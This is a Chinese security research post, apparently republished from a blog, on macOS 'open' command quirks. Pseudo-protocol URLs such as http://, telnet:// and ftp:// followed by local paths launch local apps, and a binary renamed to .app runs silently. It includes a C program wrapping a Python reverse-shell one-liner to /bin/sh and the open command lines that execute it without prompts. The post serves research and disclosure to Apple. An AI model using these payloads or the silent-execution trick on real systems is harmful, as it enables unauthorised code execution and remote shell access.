作者:漂亮鼠
原文鏈接:https://mp.weixin.qq.com/s/GZ5eS_lHiBBb7jHNu6PUgg
0x00 前情提要
最近在研究mac上的一些命令注入問題,看著看著覺得蠻有意思就先記錄一下。這里主要圍繞比較常見的open命令展開。
順便說一句我的mac是

所以如下的可能都是bug!
0x01 open的基礎使用
先來看看open的help

比如
open -a /System/Applications/Calculator.app //打開計算器
open /System/Applications/Calculator.app //也是打開計算器
open -a /Applications/Safari.app https://www.baidu.com //打開safari并打開百度
其他的參數也就是一些細節的區別,自己可以試一下大概能知道,基本使用可以再看看這個mac open
0x02 奇妙的細節
前面看了-a和不-a都可以打開計算器,那么這兩者有什么區別呢?其實還是有一些細微的區別的。
- -a參數是指打開某個application
- 不帶-a參數的時候會根據后綴等進行自動判斷使用什么app進行打開
上面是正常情況下的認知,接下來看看一些例子來理解實際情況
open http://www.baidu.com/System/Applications/Calculator.app
從前面的理解上這條命令應該是默認打開瀏覽器并且訪問域名http://www.baidu.com/System/Applications/Calculator.app并不會打開后面的計算器,然而實際上呢?

當然同時打開了safari訪問了百度,但是同時打開了計算器……
這時候我們試試-a
open -a http://www.baidu.com/System/Applications/Calculator.app

可以看到加了-a后報錯了(報錯就對了,報錯才是正常的)。
當然我們不僅可以使用http,還能使用一大堆其他的偽協議。
比如我們使用telnet
open telnet://www.baidu.com/System/Applications/Calculator.app

有時候我們想要無感知的,這時候只要把他換成ftp就可以了(其實會彈一個連接遠程的服務的確認框,但總比彈百度好一些)
open ftp://8.8.8.8/System/Applications/Calculator.app

這些我猜測是因為偽協議導致的,目前猜測是iterm2中的偽協議,具體可以查看


當然拋開偽協議,我覺得open自身多少有點問題(
0x03 執行二進制
前面我們都是在打開app,我們能不能執行二進制呢?是可以的
我們正常來使用open執行一個二進制會怎么樣?

這里先使用普通的open,分別打開python和curl,前者報了個錯,后者則彈框提示要確認,當然點擊確認的話是可以執行的。
可是這并不是我想要的啊!
這時候我們使用-a看看會怎么樣?
open -a /usr/bin/curl
實際表現是沒有任何反應的,那他到底執行沒有呢?
這里我試著編譯了一個執行反彈shell的c程序來看看是否反彈shell這樣就能知道是否執行了。
c程序如下:
#include <stdio.h>
#include <stdlib.h>
int main(){
char* cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";
system(cmd);
}
編譯成一個叫testC的可執行程序,接下來我們監聽10000端口同時試著用open打開它
open -a /Users/miku/tmp/testC

可以看到確實執行了。
這就比較神奇了,因為-a參數明明是執行application的,眾所周知application在mac上其實是一個文件夾,但是現在卻同樣適用于二進制可執行文件!
那如果我們不用-a呢?試試看
open /Users/miku/tmp/testC

也是可以的,不過很顯然這里是通過iterm2打開二進制文件,這種應該算預料之中的行為。但是我不想彈這個,能不能解決呢?試試前面的偽協議思路
open http://www.baidu.com/Users/miku/tmp/testC
iterm打開了一個新的終端頁面,但是并沒有執行testC。那怎么做才能執行呢?我們試試把testC的文件名改一改,改成testC.app。看看open是不是以后綴來做判斷的。
open http://www.baidu.com/Users/miku/tmp/testC.app

成了,不僅沒有彈任何窗口,還會成功反彈shell給我。這里的協議只要改成任意在支持列表里的就行,而且和打開正常application不一樣,并不會彈任何無關的東西只會執行最后的testC.app!
0x04 結尾
上面這些要想完全應用到實際場景中可能還需要各位開動小腦筋,不過至少可以說明一些事情了。很多命令在實際使用的時候并不會像他們說明文檔里說的那樣簡單純粹。
我把這個問題匯總了一下,用我蹩腳的英文把這個當作漏洞反饋給了apple官方了,至于他接不接受,我才不care!
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1630/
暫無評論